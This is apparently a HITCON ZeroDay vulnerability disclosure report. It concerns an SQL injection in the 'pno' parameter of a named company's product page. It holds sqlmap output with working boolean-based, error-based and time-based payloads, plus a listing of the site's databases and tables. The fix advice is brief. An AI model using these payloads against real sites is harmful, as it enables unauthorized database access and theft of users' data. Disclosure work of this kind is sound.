肯上科技股份有限公司SQL - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2018-00422
  •  發信 Vendor: 肯上科技股份有限公司
  • Title: 肯上科技股份有限公司SQL
  • Introduction: 肯上科技股份有限公司SQL

處理狀態

目前狀態

公開
Last Update : 2018/06/07
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2018/04/07 21:04:14 : 新提交 (由 Cra5h 更新此狀態)
  • 2018/04/08 00:12:32 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/04/08 02:22:47 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/04/08 02:22:48 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/06/07 03:00:29 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2018-00422
  • 通報者:cra5h (Cra5h)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://www.astron.com.tw/product.php?idt=8&pid=77&pno=249

敘述

肯上科技股份有限公司SQL
SQL位置:
http://www.astron.com.tw/product.php?idt=8&pid=77&pno=249
pno参数过滤不严导致SQL产生

GET parameter 'pno' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 346 HTTP(s) requests:

Parameter: pno (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: idt=8&pid=77&pno=249 AND 1978=1978

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: idt=8&pid=77&pno=249 AND (SELECT 5524 FROM(SELECT COUNT(*),CONCAT(0x717a717071,(SELECT (ELT(5524=5524,1))),0x71786a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: idt=8&pid=77&pno=249 AND SLEEP(5)

[16:37:47] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[16:37:47] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.astron.com.tw

确认影响库:(4个)
available databases [4]:
[] astron
[
] information_schema
[] mysql
[
] performance_schema

[16:39:51] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.astron.com.tw'

查看数据量:
Database: astron
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| question | 359 |
| product | 180 |
| log | 158 |
| message | 110 |
| productitem | 35 |
| productchild | 20 |
| menu | 8 |
| productkind | 7 |
| industry | 6 |
| ctrlitem | 5 |
| mainadv | 5 |
| seo | 4 |
| news | 3 |
| newsitem | 2 |
| field_setting | 1 |
| Ghost | 1 |
| member | 1 |
| websetting | 1 |
+---------------------------------------+---------+

Database: information_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| INNODB_BUFFER_PAGE | 8192 |
| COLUMNS | 993 |
| SESSION_VARIABLES | 329 |
| GLOBAL_VARIABLES | 317 |
| GLOBAL_STATUS | 312 |
| SESSION_STATUS | 312 |
| COLLATION_CHARACTER_SET_APPLICABILITY | 197 |
| COLLATIONS | 197 |
| INNODB_BUFFER_PAGE_LRU | 177 |
| PARTITIONS | 101 |
| TABLES | 101 |
| STATISTICS | 71 |
| KEY_COLUMN_USAGE | 67 |
| USER_PRIVILEGES | 56 |
| TABLE_CONSTRAINTS | 43 |
| CHARACTER_SETS | 39 |
| SCHEMA_PRIVILEGES | 32 |
| PLUGINS | 23 |
| ENGINES | 9 |
| INNODB_CMP | 5 |
| INNODB_CMP_RESET | 5 |
| INNODB_CMPMEM | 5 |
| INNODB_CMPMEM_RESET | 5 |
| SCHEMATA | 4 |
| INNODB_BUFFER_POOL_STATS | 1 |
| PROCESSLIST | 1 |
+---------------------------------------+---------+

Database: performance_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| setup_consumers | 8 |
| performance_timers | 5 |
| setup_timers | 1 |
+---------------------------------------+---------+

Database: mysql
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| time_zone_transition | 122530 |
| time_zone_transition_type | 8843 |
| time_zone | 1820 |
| time_zone_name | 1820 |
| help_relation | 1116 |
| help_keyword | 533 |
| help_topic | 513 |
| help_category | 40 |
| user | 2 |
| db | 2 |
| proxies_priv | 2 |
| Ghost | 1 |
+---------------------------------------+---------+

[16:42:02] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.astron.com.tw'

修補建議

过滤,参数化

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;